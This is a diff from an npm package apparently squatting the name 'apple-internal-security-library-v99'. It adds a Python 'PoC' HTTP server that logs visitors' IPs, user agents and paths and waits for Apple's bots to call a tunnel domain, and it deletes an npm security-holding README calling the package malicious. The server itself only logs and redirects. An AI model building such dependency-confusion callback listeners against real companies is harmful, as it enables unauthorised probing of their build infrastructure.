VIDEO_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
|
|
7
|
+
|
|
8
|
+
class FinalPoCHandler(http.server.SimpleHTTPRequestHandler):
|
|
9
|
+
def do_GET(self):
|
|
10
|
+
# Tangkap IP
|
|
11
|
+
forwarded = self.headers.get('X-Forwarded-For', self.client_address[0])
|
|
12
|
+
real_ip = forwarded.split(',')[0].strip()
|
|
13
|
+
|
|
14
|
+
print(f"\n[!!!] NEW INTERACTION DETECTED")
|
|
15
|
+
print(f"[+] SOURCE IP : {real_ip}")
|
|
16
|
+
print(f"[+] USER-AGENT : {self.headers.get('User-Agent')}")
|
|
17
|
+
print(f"[+] TARGET PATH: {self.path}")
|
|
18
|
+
print(f"[+] ACTION : Redirecting to Video Evidence...")
|
|
19
|
+
|
|
20
|
+
# Kirim 302 Redirect
|
|
21
|
+
self.send_response(302)
|
|
22
|
+
self.send_header('Location', VIDEO_URL)
|
|
23
|
+
self.end_headers()
|
|
24
|
+
print(f"[-] STATUS : Redirect 302 Sent. Target is watching the video.")
|
|
25
|
+
|
|
26
|
+
with socketserver.TCPServer(("", PORT), FinalPoCHandler) as httpd:
|
|
27
|
+
print(f"==========================================")
|
|
28
|
+
print(f" APPLE INFRASTRUCTURE MONITORING (PoC) ")
|
|
29
|
+
print(f"==========================================")
|
|
30
|
+
print(f"[/] Domain: d3bc1971705e24.lhr.life")
|
|
31
|
+
print(f"[/] Status: WAITING FOR APPLE BOT (17.x)...")
|
|
32
|
+
httpd.serve_forever()
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-internal-security-library-v99 for more information.
|